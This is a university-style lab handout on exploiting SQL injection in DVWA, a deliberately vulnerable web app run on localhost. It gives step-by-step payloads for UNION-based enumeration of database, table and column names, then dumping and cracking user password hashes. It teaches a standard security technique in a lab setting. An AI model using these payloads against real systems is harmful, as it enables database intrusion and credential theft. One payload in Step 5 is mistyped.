

Fundamentals of Information Systems Security

Lab 5: SQL Injection using DVWA

Objective: Exploit a basic SQL injection vulnerability to extract database credentials.

Prerequisites

- Kali Linux VM.
- DVWA (Damn Vulnerable Web Application) installed (recommended: `sudo apt install dvwa` or use Metasploitable 2 VM).
- Web browser.

Setting Up DVWA

If using Kali, install and start DVWA:

```
sudo apt update
sudo apt install dvwa -y
sudo dvwa-setup # Follow the prompts
```

Access it at <http://localhost/dvwa>.

Learning Objectives

By the end of this lab, you will be able to:

- Recognize and exploit a SQL injection vulnerability.
- Use UNION queries to extract database metadata.
- Retrieve username and password hashes from the database.

Lab Steps

Step 1: Login and Setup DVWA

1. Navigate to <http://127.0.0.1/dvwa/login.php>
2. Default credentials: **Username:** admin, **Password:** password.
3. Click **DVWA Security** on the left sidebar.
4. Set Security Level to **Low** and click Submit.

Step 2: Navigate to SQL Injection Module

Click on **SQL Injection** in the left sidebar. You will see a text field asking for a User ID.

Step 3: Test for Vulnerability

Enter the following in the User ID field:

```
1'
```

If the page returns an SQL error (e.g., You have an error in your SQL syntax), the application is vulnerable.

Step 4: Bypass Authentication Logic

Enter the following payload to return all users:

```
1' OR '1'='1
```

The application should now display all users in the database, proving the injection works.

Step 5: Determine the Number of Columns (UNION)

We need to find the number of columns to use a UNION attack. Enter:

```
1' UNION SELECT 1,2 -- -
```

If it fails, try 3 columns: `1' UNION SELECT 1,2,3 - -` Observe which numbers appear on the screen. (Often, it's columns 2 and 3).

Step 6: Extract the Database Name

Use the visible columns to extract data. If columns 2 and 3 are visible, enter:

```
1' UNION SELECT 1, database(), version() -- -
```

This will show the current database name (e.g., dvwa) and the MySQL version.

Step 7: Extract Table Names

To list all tables in the dvwa database, use:

```
1' UNION SELECT 1, table_name, table_schema FROM information_schema.
  tables WHERE table_schema='dvwa' -- -
```

You should see a table named `users`.

Step 8: Extract Column Names from the Users Table

```
1' UNION SELECT 1, column_name, data_type FROM information_schema.
  columns WHERE table_name='users' -- -
```

Look for columns: `user`, `password`.

Step 9: Dump User Credentials

Extract the username and password hashes:

```
1' UNION SELECT 1, user, password FROM dvwa.users -- -
```

You will see the admin hash and other users' hashes.

Step 10: Crack the Hashes (Optional)

Copy the admin hash (it looks like 5f4dcc3b5aa765d61d8327deb882cf99) and use John the Ripper or an online MD5 cracker to retrieve the plaintext password (which should be **password**).

Step 11: Increase Security Level

Change the DVWA security to **Medium** or **High** and attempt the same injection.

- *Medium*: The input is modified (e.g., escaping), requiring different injection techniques.
- *High*: Stored procedures are used, making injection much harder.

Deliverables

Submit a report containing:

1. A screenshot of the SQL error induced by the ' payload.
2. A screenshot of the 1' OR '1'='1 result showing all users.
3. A screenshot showing the extracted database name and table names.
4. A screenshot of the dumped username and password hashes.
5. A brief paragraph explaining how the UNION query works and the importance of input validation and prepared statements.